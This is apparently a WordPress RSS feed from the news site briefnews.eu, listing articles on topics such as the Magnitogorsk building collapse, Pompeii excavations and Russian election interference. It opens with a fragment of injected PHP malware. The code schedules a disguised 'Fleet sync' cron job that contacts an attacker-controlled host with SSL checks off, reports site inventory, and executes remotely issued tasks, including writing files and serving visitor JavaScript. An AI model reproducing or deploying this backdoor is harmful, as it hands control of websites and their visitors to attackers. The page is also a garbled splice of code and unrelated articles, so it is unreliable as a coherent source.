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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); extent – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 02 Jan 2019 20:07:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png extent – Brief News https://briefnews.eu 32 32 Haunting drone footage captures extent of Magnitogorsk tragedy (VIDEO) https://briefnews.eu/haunting-drone-footage-captures-extent-of-magnitogorsk-tragedy-video/ https://briefnews.eu/haunting-drone-footage-captures-extent-of-magnitogorsk-tragedy-video/#respond Wed, 02 Jan 2019 20:07:29 +0000 http://briefnews.eu/haunting-drone-footage-captures-extent-of-magnitogorsk-tragedy-video/

The aftermath of the tragic house collapse that saw at least 31 people lose their lives has been captured in startling drone footage, as rescue workers scramble to find survivors.

The devastating gas explosion rendered the 10-story residential building in Russia’s Urals to rubble on New Years Eve morning.




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Four children died in the accident and residents are still missing. Six people have been rescued from the rubble, including an 11-month-old boy.

The video shows what looks like a scene from a war zone. A massive pile of rubble stands in the gap where the building once stood.

A wall of different coloured wallpaper is all that remains of the scores of apartments blown up in the explosion.

The haunting footage was filmed by Artyom Ibragimov who said he brought his drone to the site of the explosion when he heard the news.




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Ibragimov spent the day helping rescue workers and his drone footage alerted the crew to the fact that the roof was badly damaged and at risk of collapse.

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]]> https://briefnews.eu/haunting-drone-footage-captures-extent-of-magnitogorsk-tragedy-video/feed/ 0 Pompeii unveiled: Jaw-dropping drone footage shows extent of city’s excavation https://briefnews.eu/pompeii-unveiled-jaw-dropping-drone-footage-shows-extent-of-citys-excavation/ https://briefnews.eu/pompeii-unveiled-jaw-dropping-drone-footage-shows-extent-of-citys-excavation/#respond Sat, 04 Aug 2018 16:31:42 +0000 http://briefnews.eu/pompeii-unveiled-jaw-dropping-drone-footage-shows-extent-of-citys-excavation/

Almost 2,000 years since it was buried beneath lava spewed by Mount Vesuvius, artifacts are still emerging from the lost city of Pompeii. Now new drone footage offers history buffs a visual treasure to savor from above.

According to Pompeii expert and archaeologist Steven Ellis, the aerial tour through parts of the city’s ancient streets was filmed as part of research into the incredible excavation efforts undertaken at the site.

It begins at street level, hovering over the ancient cobbled streets before rising up sharply to reveal deadly neighboring Vesuvius looming in the distance. It was in the year 79 AD that a massive eruption from the 1,281-meter-high volcano destroyed the once-thriving Roman city.

READ MORE: Headless Pompeii skeleton: Man decapitated while fleeing eruption, say archaeologists (VIDEO)

Now Pompeii is bustling again but in a different manner – with archaeologists still uncovering evidence of its past, such as the full body of a horse, swamped by lava nearly 2,000 year ago. Uncovered in the Civita Giuliana area of Pompeii, researchers were able to rebuild the shape of the animal in plaster.

Scoperta straordinaria nell’area di Civita Giuliana, nella zona Nord fuori le mura del sito archeologico di Pompei, dove erano stati intercettati cunicoli clandestini. Grazie all’operazione congiunta del Parco Archeologico di Pompei con la Procura della Repubblica di Torre Annunziata, gli investigatori del Comando Gruppo Carabinieri di Torre Annunziata e del Nucleo Tutela Patrimonio Culturale di Napoli che stavano già indagando su queste attività illecite, dallo scorso agosto è stato avviato un intervento di scavo allo scopo di proseguire nelle indagini e salvare il patrimonio archeologico in pericolo. Oggi il Direttore Generale del Parco Archeologico di Pompei, @massimo_osanna ha presentato in esclusiva l’eccezionale ritrovamento e l’operazione messa in campo con l’attività di scavo in corso. L’intervento ha portato alla luce una serie di ambienti di servizio di una grande villa suburbana conservata in maniera eccezionale, dalla quale sono emersi anche diversi reperti (anfore, utensili da cucina, parte di un letto in legno di cui è stato possibile realizzare il calco) e una tomba del periodo post 79 d.C. che custodiva lo scheletro del defunto. Per la prima volta è stato, inoltre, possibile restituire, attraverso la tecnica dei calchi, la sagoma integra di un cavallo rinvenuto in uno degli ambienti dello scavo. • • Extraordinary find from Pompeii. In the area of Civita Giuliana, the north suburbs of the city, clandestine underground tunnels had been intercepted. Thanks to the operation of the Archaeological Park of Pompeii, with the Procuration of the Republic of Torre Annunziata, the investigators of the Carabinieri Group Command of Torre Annunziata and of the Cultural Heritage Protection Unit of Naples, has been started an operation in order to continue the investigation and save the archaeological heritage. The Director General of the Archaeological Park of Pompeii, Massimo Osanna, presented the excavation work in progress. The intervention has brought to light a series of rooms of a large, exceptionally well-preserved suburban villa. ___ 📷 Visit our gallery and share your photos with the hashtags #Pompeii #Pompei #pompeitempusvita

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In May, management at the government-protected Pompeii Archaeological Park also released the first images of a man believed to have been crushed by a large block and decapitated. It’s thought the man might have been killed while fleeing the eruption.

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]]> https://briefnews.eu/pompeii-unveiled-jaw-dropping-drone-footage-shows-extent-of-citys-excavation/feed/ 0 'Demonization of Russia reaches extent where it's prohibited to say anything good about Russia' https://briefnews.eu/demonization-of-russia-reaches-extent-where-its-prohibited-to-say-anything-good-about-russia/ https://briefnews.eu/demonization-of-russia-reaches-extent-where-its-prohibited-to-say-anything-good-about-russia/#respond Thu, 05 Apr 2018 17:08:06 +0000 http://briefnews.eu/demonization-of-russia-reaches-extent-where-its-prohibited-to-say-anything-good-about-russia/ Whether it’s the Skripal case or the Olympics, what we are seeing is the destruction of diplomatic relations, investigative journalist Rick Sterling says.

White House Press Secretary Sarah Sanders said Wednesday that other countries should expel more Russian diplomats to encourage Russia to be “a good actor in the process” and “change their behavior.“

Earlier this week, a British military laboratory admitted it could not identify the source of the nerve agent that was used in the Skripal case, although the government consistently claims there’s a direct link to Russia.

RT: Why do you think the White House wants to keep the pressure on Moscow despite the latest doubts over the UK’s allegations?

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Rick Sterling: They want to keep pressure on Moscow to relieve some of the pressure on the White House. The mood in the US is poisonous. There is a semi-hysteria that the demonization of Russia and President Putin has gone to the extent where it is almost prohibited to say anything good about Russia. That is how sad the state of affairs is.

RT: The White House press secretary also said the US wants to encourage Russia to be “a good actor in the process.” Russia has already offered to cooperate in an international probe. What sort of action do you think she is referring to?

RS: That is assuming the call was sincere. I think the “good actor” narrative is the simplistic “we’re good, you’re bad, the bad guys have black hats, we are wearing a white hat.” Whether it is the Skripal case, or the Olympics, or some of these other incidents, what we are seeing is the destruction of diplomatic relations now. Last summer, the San Francisco Consulate was closed down, now we’ve got the Seattle Consulate closed down, we just had the expulsion of 60 diplomats whom they call “operatives.” What is behind it all is bigger than international contention, I believe. What is really at stake here, what is going on is contention over the state of affairs in Syria. And if we talk about behavior, actually it is the US that is out of compliance with international law in Syria. And if anybody’s behavior needs to be questioned, it is actually the behavior of the US, the UK and their allies which have funded, supported, and armed opposition attempting to overthrow the sovereign state of Syria. I think that is what is underlying this and what we are seeing are surface issues really. 

The EU is split. We had these ludicrous claims that the international community stands behind Britain. In fact, it was 28 [27+NATO] countries out of 195 actually expelled ambassadors, that is not much more than 14 percent. So, the international community doesn’t really believe Britain on this one. That is the reality. And I think we need more international pressure now coming on the British government to actually open up, to be transparent. – Neil Clark, journalist and writer   

RT:So far, most EU countries have sided with the UK against Russia in this case. But in light of the confusing signals from the UK Foreign Office, and the deleted tweet, surely officials across Europe must be having their doubts? We are seeing the similar situation concerning Iraq in 2003 happening in the UK, aren’t we?

RS: We are. And what is really sad is the absolute failure of Western media to have any skepticism or to require any degree of evidence. The failure that you refer to which goes back to 2003 at the UN Security Council, a lot of media was red faced and claimed later on that they learned that lesson. But clearly they have not. The current frenzy around the Skripal case, basically there has not even been a request for the evidence. The White House just says “If the UK says it, it must be.” What we need are some people who are objective and honest and devoted to the truth working in the intelligence agencies, whether it is… Porton Down, or some of the other laboratories, who have got access to this to speak up. And it is good news that the official from Porton Down was just saying “No, we cannot identify it is specifically coming from Russia.”     

RT:The Trump administration already has plenty of problems to deal with. Does it stand to gain anything by escalating a diplomatic row with Russia?

RS: It relieves some of the pressure on it. In the US right now, it is claimed that Trump is beholden to Putin for his election. That is how far out of whack things have gone. It serves his purpose there by relieving some of the pressure. 

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]]> https://briefnews.eu/demonization-of-russia-reaches-extent-where-its-prohibited-to-say-anything-good-about-russia/feed/ 0 Many Startup Founders Doubt Extent of Sexual Harassment https://briefnews.eu/many-startup-founders-doubt-extent-of-sexual-harassment/ https://briefnews.eu/many-startup-founders-doubt-extent-of-sexual-harassment/#respond Thu, 07 Dec 2017 02:13:15 +0000 http://briefnews.eu/many-startup-founders-doubt-extent-of-sexual-harassment/ Survey by First Round Capital finds that 19 percent of founders think harassment has been overblown by the media; only 17 percent have formal plan for diversity and inclusion.


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]]> https://briefnews.eu/many-startup-founders-doubt-extent-of-sexual-harassment/feed/ 0 Tiger Woods reveals extent of back injury pain ahead of Hero World Challenge – EXCLUSIVE https://briefnews.eu/tiger-woods-reveals-extent-of-back-injury-pain-ahead-of-hero-world-challenge-exclusive/ https://briefnews.eu/tiger-woods-reveals-extent-of-back-injury-pain-ahead-of-hero-world-challenge-exclusive/#respond Tue, 28 Nov 2017 12:32:29 +0000 http://briefnews.eu/tiger-woods-reveals-extent-of-back-injury-pain-ahead-of-hero-world-challenge-exclusive/

Woods, who returns to competition on Thursday in the Hero World Challenge, played his first official practice round in 10 months yesterday and also revealed that having his two young children around him throughout his lay-off kept him ‘sane’.

Woods, 41, had a fourth back surgery on April 19 and turned back the clock yesterday with an impressive display in practice, out-driving partner, Patrick Reed by 30 yards at the first on route to the first of four birdies over his nine holes.

But it has taken many months of agony for Woods to reach this point. He said: “Many may forget that I spent much of this year in bed so much I couldn’t even get out of bed to have a ****.

“Often I needed help just to get out of bed. Often, I would have to roll myself out of bed and take a **** in a bucket because I physically could not do something as basic as go to the toilet by myself.

“The thing is pain is so personal and no one knows the pain I endured. We know what nerve pain can be like and no one can go through it with you and no one could understand the pain I was going through.

“I was just using drugs on top of drugs just trying to kill the nerve pain. I was like something hitting your body about 200 times a day. And the thing is that I didn’t know when it was coming.

“But that I’m fully healthy again there is no way I cannot stay healthy. I can’t see any reason why not and, while I’m pleased with how I’m hitting the ball, it is still just small steps for me at the moment.”

At the 18th, Woods outdrove Hazeltine Ryder Cup winning Reed by all of 60 yards, showing no signs of any back concern by going 100 per cent in every shot and not flinching at all, even in picking-up a tee.

Woods indicated the only medicine of sorts he is currently taking is anti-inflamatories.

The upside of Woods again being side-lined for so long is that he had got to spend more time with his two children, Sam and Charlie.

“Having them around the house kept me sane​,” he said.​ “Charlie’s right into soccer big time – big time. His favourite player is Lionel Messi. He just loves the game and enjoys watching him compete.

“We met him some time back and he gets about the house wearing a Messi Barcelona top – he just lives in it.”

Reed, who last fortnight had led the opening round of the European Tour season-ending DP World Tour Championship, is just pleased to see Woods again competing.

“I want to see again the Tiger Woods from 1999 to 2001 and I want to play alongside the best golfer ever to live on this planet,” said Reed.

“Tiger looked this morning he was playing pain free and down the last there, he out-drove me by 60 yards and he out-drove me every hole of the nine we played.

“Though the last there was the first one he embarrassed me on but then I did not expect him to come back if he could not give 100 per cent and unless his golf game was ready.

“I was very impressed about him going out and being able to hit the golf shots he wanted, including being able to use his drive to draw and fade the ball.

“He was to able to hit all the shots this morning he wanted to and not once flinch or pick his tee up gingerly and also just walk at his normal pace with a real spring in his step. That is was impressed me most about Tiger this morning.”

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]]> https://briefnews.eu/tiger-woods-reveals-extent-of-back-injury-pain-ahead-of-hero-world-challenge-exclusive/feed/ 0 Rugby player bitten by lion reveals sickening extent of injuries (GRAPHIC IMAGES) https://briefnews.eu/rugby-player-bitten-by-lion-reveals-sickening-extent-of-injuries-graphic-images/ https://briefnews.eu/rugby-player-bitten-by-lion-reveals-sickening-extent-of-injuries-graphic-images/#respond Tue, 24 Oct 2017 17:53:14 +0000 http://briefnews.eu/rugby-player-bitten-by-lion-reveals-sickening-extent-of-injuries-graphic-images/

Welsh rugby player Scott Baldwin, who feared his career was over after being bitten by a lion in South Africa, has revealed the extent of the injuries he suffered.

Baldwin, 29, who plays for club team Ospreys and has been capped by Wales more than 30 times, suffered the bite while attempting to stroke the animal before a game on tour in South Africa in September. The incident was caught on camera by a teammate.

His injuries reportedly left him fearing he would lose his hand, and he has now revealed the grisly extent of the bite and the operations he required afterwards.

“When you see the video it looks very quick, but for me it felt like a lifetime, it felt as though I was staring into its [the lion’s] soul,” he said, the Mirror reported.

“They told me I could lose my hand, I had to have four operations and I missed three matches with the Ospreys. And it was all self-inflicted.”

Baldwin returned to action for the Ospreys at the weekend, and is thankful the incident didn’t end his career.

“I think it only hit me how lucky I was when I was in bed the other night. When someone says you can lose your hand, instantly your career is gone,” he said.

Baldwin apologized to his teammates and fans after the incident, but at the time received little sympathy from coach Steve Tandy, who said that “in fairness it was nothing to do with the lion.”

“He did bite Scott but when you put your hand in a fence where there is a lion, then you will get bitten. It was pretty stupid on Scott’s behalf and he is pretty lucky… I don’t know what sort of wildlife show Scott has been watching where you can pat a lion on the head as if it’s a kitten.”

The Ospreys went down to a 36-34 defeat against English European champions Saracens on Saturday, with hooker Baldwin coming on as a replacement.

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]]> https://briefnews.eu/rugby-player-bitten-by-lion-reveals-sickening-extent-of-injuries-graphic-images/feed/ 0 Trump Jr.’s meeting with a Russian lawyer shed new light on the extent of Russia’s election interference https://briefnews.eu/trump-jr-s-meeting-with-a-russian-lawyer-shed-new-light-on-the-extent-of-russias-election-interference/ https://briefnews.eu/trump-jr-s-meeting-with-a-russian-lawyer-shed-new-light-on-the-extent-of-russias-election-interference/#respond Sun, 16 Jul 2017 16:42:31 +0000 http://briefnews.eu/trump-jr-s-meeting-with-a-russian-lawyer-shed-new-light-on-the-extent-of-russias-election-interference/ Donald Trump and Hillary ClintonMark Wilson/Getty Images; Justin Sullivan/Getty Images; Samantha Lee/Business Insider

Last week’s revelations that President Donald Trump’s son, Donald Trump Jr., met with a Russian lawyer with strong ties to the Kremlin during the campaign to obtain damaging information about Hillary Clinton shed new light on the extent of Russia’s interference in the 2016 election.

The first sign of Moscow’s meddling came in September 2015, when the FBI first noticed that Russian hackers had infiltrated a computer system belonging to the Democratic National Committee.

Nearly a year later, further reporting and testimony from current and former intelligence officials have painted a portrait of Russia’s election interference as a multifaceted, well-planned, and coordinated campaign aimed at undermining the backbone of American democracy: free and fair elections.

Now, as FBI special counsel Robert Mueller and congressional intelligence committees continue to investigate Russia’s election interference, evidence is emerging that the hacking and disinformation campaign waged at the direction of Russian President Vladimir Putin took at least four separate but related paths.

The first involved establishing personal contact with Americans perceived as sympathetic to Moscow — such as former Defense Intelligence Agency chief Michael Flynn, former Trump campaign chairman Paul Manafort, and early Trump foreign-policy adviser Carter Page — and using them as a means to further Russia’s foreign-policy goals.

The second involved hacking the Democratic National Committee email servers and then giving the material to WikiLeaks, which leaked the emails in batches throughout the second half of 2016.

The third was to amplify the propaganda value of the leaked emails with a disinformation campaign waged predominantly on Facebook and Twitter, in an effort to use automated bots to spread fake news and pro-Trump agitprop.

And the fourth was to breach US voting systems in as many as 39 states leading up to the election, in an effort to steal registration data that officials say could be used to target and manipulate voters in future elections.

[Un]witting agents

AP_17157670241072AP Photo/J. Scott ApplewhiteFormer FBI Director James Comey confirmed in a hearing before the Senate Intelligence Committee in March, two months before he was fired, that the bureau was investigating Russia’s interference in the 2016 election. That probe included an examination of whether the Trump campaign colluded with Moscow to undermine Hillary Clinton, Comey testified at the time.

Restrictions on disclosing classified information in an open setting precluded Comey from naming names; but reports surfaced before he testified that certain members of Trump’s campaign had communicated with Russian officials in ways that raised red flags.

Paul Manafort, Michael Flynn, Carter Page, Jared Kushner, and Roger Stone were among those being looked at by federal investigators, reports said, amid the FBI and congressional probes into whether any Trump associates acted as agents of the Kremlin, wittingly or not.

Most recently, Donald Trump Jr. also attracted sharp scrutiny for meeting with Natalia Veselnitskaya, described as a “Russian government lawyer,” last June after being offered information that could compromise Hillary Clinton’s candidacy. 

Also present at the meeting were Kushner, Manafort, British music publicist Rob Goldstone, former Soviet military intelligence officer and lobbyist Rinat Akhmetshin, Russian translator Anatoli Samachornov, and possibly a representative of Russia’s wealthy Agalarov family, which first requested that the meeting be arranged. 

Earlier this week, Trump Jr. also posted an email chain on Twitter showing he was aware before the meeting took place that it was part of “Russia and its government’s support of Mr. Trump.” 

President Trump’s outside legal counsel initially said he was unaware of and did not attend the meeting. It later emerged, however, that Trump personally signed off on Trump Jr.’s initial statement concerning the meeting. It was also reported that the Trump reelection campaign paid $ 50,000 to the law office of Alan Futerfas, the lawyer representing Trump Jr. in the ongoing Russia probes, weeks before news of the meeting became public.  

Flynn was forced to resign as national-security adviser in February after it emerged he had discussed US sanctions with Russia’s ambassador to the US, Sergey Kislyak, during the transition period. The White House said Flynn resigned because he misled Vice President Mike Pence about his conversation with Kislyak.

It was later reported that the acting attorney general, Sally Yates, had warned the White House in January that Flynn could be vulnerable to Russian blackmail, because US intelligence knew Pence had publicly mischaracterized Flynn’s interactions with Kislyak.

Paul Manafort, Trump’s former campaign chairman, worked to advance Russian interests for over a decade. Beginning in 2004, Manafort served as a top adviser to former Ukrainian President Viktor Yanukovych, a pro-Russian strongman whom Manafort is widely credited with helping win the presidency in 2010. Between 2006 and 2009, Manafort was paid millions to lobby on behalf of Russian billionaire Oleg Deripaska. AP reporter Jeff Horwitz told Fox News that Manafort was “a gun for hire” who was willing to work explicitly “on behalf of Russian interests.”

Carter Page, an early foreign-policy adviser to Trump’s campaign, has also become a subject of FBI and congressional investigations. His trip to Moscow in July 2016 raised red flags at the FBI, which was granted a warrant by the Foreign Intelligence Surveillance Court to monitor Page’s communications on suspicion that he was communicating with Russian officials.

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Jared Kushner, Trump’s son-in-law and senior adviser, became a subject of the investigation after US intelligence officials intercepted communications suggesting he had proposed setting up a secret backchannel to Moscow using Russian diplomatic facilities on US soil. Kushner met with both Kislyak and Russian banker Sergey Gorkov in December and failed to disclose it on his security-clearance form.

And Roger Stone, a longtime adviser to Trump, communicated with a self-described hacker, Guccifer 2.0, in August 2016 who US intelligence officials believe was a Russian prop.

Former FBI Special Agent Clint Watts told the Senate Intelligence Committee in May that the Trump campaign itself may have been an unwitting agent of Russia.

“Part of the reasons active measures have worked in the US election is because the commander-in-chief has used Russian active measures at times against his opponents,” Watts said, pointing to Manafort and Trump’s citations of fake-news stories pushed out by Russian-linked entities last year.

“[Trump] denies the intel from the United States about Russia, and he claimed the election could be rigged — that was the number one claim pushed by RT, Sputnik News, all the way up until the election,” Watts said. “Part of the reasons Russian active measures work is because they parrot the same lines.”

Indeed, the Trump transition team released a statement in December that appeared to cast doubt on the CIA’s findings that Russia had meddled in the election with the specific purpose of damaging Clinton’s candidacy and swinging voters towards Trump.

“These are the same people that said Saddam Hussein had weapons of mass destruction,” the statement said.

The DNC, WikiLeaks, and Guccifer 2.0

In July 2016, the Democratic National Committee announced that Russian hacking groups known as “Cozy Bear” and “Fancy Bear” had infiltrated its servers. The intrusions came after federal investigators warned the DNC in September 2015 that its servers had been breached, but the DNC failed to take action.

After gaining access to the DNC’s system in 2016, Fancy Bear and Cozy Bear disseminated thousands of emails via hacker Guccifer 2.0, who leaked the information to WikiLeaks. US intelligence agencies believe Guccifer 2.0 was created by Fancy Bear, or a Russian organization affiliated with the group. WikiLeaks published the first batch of DNC emails on July 22, one day before the Democratic National Convention.

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WikiLeaks founder Julian Assange told Fox News’ Sean Hannity during a January interview that the Russian government did not provide the hacked DNC emails to him. But US intelligence agencies believe WikiLeaks has become a Kremlin propaganda tool.

Cybersecurity experts at the intelligence firm ThreatConnect also linked Guccifer 2.0 back to Russia and concluded the hacker was the product of a Russian disinformation campaign. The New York Times reported in December that Guccifer 2.0 had also hacked into the Democratic Congressional Campaign Committee and released the information to reporters covering competitive House districts.

A little over two months later, on October 7, WikiLeaks released a batch of emails from Clinton campaign manager John Podesta’s account. The hack of Podesta’s emails came after Trump confidant Roger Stone tweeted in August, “Trust me, it will soon the [sic] Podesta’s time in the barrel. #CrookedHillary”

WikiLeaks continued releasing Podesta’s emails and published nearly 60,000 messages leading up to Election Day. Podesta said after the initial breach that Russian intelligence was responsible.

Roger StoneHollis Johnson“A big difference to me in the past was, while there was cyberactivity, we never saw in previous presidential elections information being published on such a massive scale that had been illegally removed both from private individuals as well as organizations associated with the democratic process both inside the government and outside the government,” Adm. Mike Rogers, the director of the National Security Agency, told the House Intelligence Committee in March.

It soon emerged that Russian hackers had also accessed the Republican National Committee’s servers and accounts belonging to Republican officials, but had chosen not to release the information. This development appeared to confirm intelligence findings that Russian meddling was done specifically to hurt Clinton and aid Trump.

The US intelligence community “is confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations,” Director of National Intelligence James Clapper and the Department of Homeland Security said in a joint statement shortly after the first batch of Podesta’s emails were first leaked.

During a January hearing before the Senate Armed Services Committee with other intelligence chiefs, Clapper reaffirmed that finding. “We stand more resolutely on that statement,” he said.

Fake news, trolls, botnets

In early January, the Office of the Director of National Intelligence released a declassified report documenting the results of the investigation former President Barack Obama had requested into Russian election interference.

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The report said that while Russian operatives did not change vote tallies, Russian President Vladimir Putin had ordered an elaborate effort to propel Trump to the presidency — not only via hacking but also through the dissemination of “fake news” aimed at undermining Clinton and boosting Trump.

The Russians, Comey said in March, were also “unusually loud” in their intervention, leaving digital footprints on the DNC and John Podesta email hacks that were sloppy and easily linked back to the Kremlin.

Meanwhile, state-sponsored Russian news agencies like RT and Sputnik, openly backed Trump. And automated Twitter accounts — many of them linked to Russia and aided by professional trolls paid by the Kremlin — flooded the social-media platform with pro-Trump rhetoric and made-up news throughout the campaign and especially in the days leading up to the election.

The bots favored Trump by five-to-one, according to Sam Woolley of the Oxford Internet Institute’s computational propaganda institute.

Russian internet trolls — paid by the Kremlin to spread false information on the internet — have been behind a number of “highly coordinated campaigns” to deceive the American public, journalist Adrian Chen found when researching Russian troll factories in St. Petersburg in 2015.

It’s a brand of information warfare, known as “dezinformatsiya,” that has been used by the Russians since at least the Cold War. The disinformation campaigns are only one “active measure” tool used by Russian intelligence to “sow discord among,” and within, nations perceived as hostile to Russia.

From his interviews with former trolls employed by Russia, Chen gathered that the point of their jobs “was to weave propaganda seamlessly into what appeared to be the nonpolitical musings of an everyday person.

“Russia’s information war might be thought of as the biggest trolling operation in history,” Chen wrote. “And its target is nothing less than the utility of the Internet as a democratic space.”

In a telling case study of how widespread and pervasive fake news was during the election, Oxford University researchers found that nearly half of the news Michigan voters were exposed to on Twitter leading up to Election Day was fake. They found that the proportion of “professional to junk news” was “roughly one-to-one,” and that “fully 46.5% of all content presented as news” about politics and the election fell under “the definition of propaganda” when unverified WikiLeaks content and Russian-origin news stories were factored in.

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As many as 39 state-election systems targeted

In January, President-elect Trump issued a statement after he was briefed on the intelligence community’s classified report on Russia’s election interference.

“While Russia, China, other countries, outside groups and people are consistently trying to break through the cyber infrastructure of our governmental institutions, businesses and organizations including the Democrat [sic] National Committee, there was absolutely no effect on the outcome of the election including the fact that there was no tampering whatsoever with voting machines.”

As it turns out, that was not entirely true.

Bloomberg reported in June that election systems in as many as 39 states could have been attacked, though voting tallies are not believed to have been altered or manipulated in any way.

“In Illinois, investigators found evidence that cyber intruders tried to delete or alter voter data,” Bloomberg said. “The hackers accessed software designed to be used by poll workers on Election Day, and in at least one state accessed a campaign finance database.”

The report was bolstered by a leaked NSA document published by The Intercept earlier this month detailing how hackers connected to Russian military intelligence had attempted to breach US voting systems days before the election.

National-security experts were floored by the document and said it was the clearest evidence so far that Russia interfered in the election.

Department of Homeland Security official Jeanette Manfra confirmed to the Senate Intelligence Committee on June 21 that Russian hackers targeted at least 21 states’ election systems in 2016, successfully exploiting a small number of networks and stealing voter registration data. Time reported on Thursday that the hackers successfully altered voter information in at least one election database and stole thousands of voter records containing private information like Social Security numbers.

The exposure of that data has left upcoming elections vulnerable to manipulation. Virginia and New Jersey will hold gubernatorial elections later this year, and all 435 seats in the House and 33 of the 100 seats in the Senate will be contested in the 2018 midterm elections.

Putin has consistently denied the Kremlin had anything to do with the hacking or disinformation campaigns waged in 2016 to bolster Trump and hurt Clinton. But he acknowledged a potential Russian role for the first time earlier this month when he said that “patriotically minded” Russian citizens might have taken it upon themselves “to fight against those who say bad things about Russia.”

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]]> https://briefnews.eu/trump-jr-s-meeting-with-a-russian-lawyer-shed-new-light-on-the-extent-of-russias-election-interference/feed/ 0 Full extent of Portugal’s wildfire that killed 62 as seen from space (PHOTOS) https://briefnews.eu/full-extent-of-portugals-wildfire-that-killed-62-as-seen-from-space-photos/ https://briefnews.eu/full-extent-of-portugals-wildfire-that-killed-62-as-seen-from-space-photos/#respond Mon, 19 Jun 2017 20:03:21 +0000 http://briefnews.eu/full-extent-of-portugals-wildfire-that-killed-62-as-seen-from-space-photos/

Newly-released satellite photos show the complete picture of devastation caused by Portugal’s deadly forest fire.

Authorities have been battling the fire since Saturday, which has so far killed 62 people and injured scores more. Three days of national mourning have also been called in the country to honor the victims.

The images were taken by Deimos Imaging, a company which owns and operates two satellites.

The red color in the pictures is the result of an image processing technique.

“The image was processed combining the near infrared, red and green bands. That’s a traditional band combination very useful to see changes in plants’ health,” said Ana Martínez, communications manager at Deimos Imaging.

Portugal’s prime minister, António Costa, has called the disaster “the biggest tragedy of human life that we have known in years.”

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Controversy over drug industry conflicts on opioid-prescribing guidelines has Ottawa asking questions. But industry influence on doctors is widespread and widely accepted — if rarely discussed.

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Microsoft has repeatedly sworn that Windows 10 doesn’t violate your privacy, but you’ve had to take its word on that when it hasn’t outlined exactly what data it shares from your PC. At last, though, it’s coming clean — the company has started publishing a complete list of the diagnostic info it collects at the Basic level, and has posted a thorough summary of what it obtains at the Full level. While Microsoft already gave you a good sense of what to expect if you went with Full, the summary is much more thorough… and a little concerning given that it’s the default level with a new Windows 10 installation.

For example, Windows collects a surprising amount of info about your media playback. It’s not tracking what you’re playing, but it will check how long you spent reading a Windows Store book, and will scoop up internet links if there’s an error with online video. And when Microsoft says it looks at “browsing history and search terms,” we now know just what it means — that includes text you type in the address bar and Cortana searches. When you search for local files, Windows will collect the kind of search you performed, the number of items your query turned up and the name of app you use to open a file from that search. It looks like Microsoft is steering clear of collecting particularly sensitive info, but there are incentives to choose Basic if you’re privacy-minded.

With this in mind, Microsoft says it’s promising to “refine” its data collection over time based on feedback. In the future, it’ll also share how Windows 10 meets European data protection rules.

To some extent, the newfound transparency is a response to governments worried that Windows 10 is intruding on your privacy. French regulators believe the software’s data collection goes too far by tracking non-essential info like app running times, while the EU is concerned that improvements in the Creators Update aren’t good enough. A detailed explanation won’t necessarily change officials’ minds, but it might clear the air and make sure that any objections are based on what Microsoft is actually doing, not sensationalist stories.

Via: The Verge

Source: Windows Experience Blog, Windows IT Center (1), (2)

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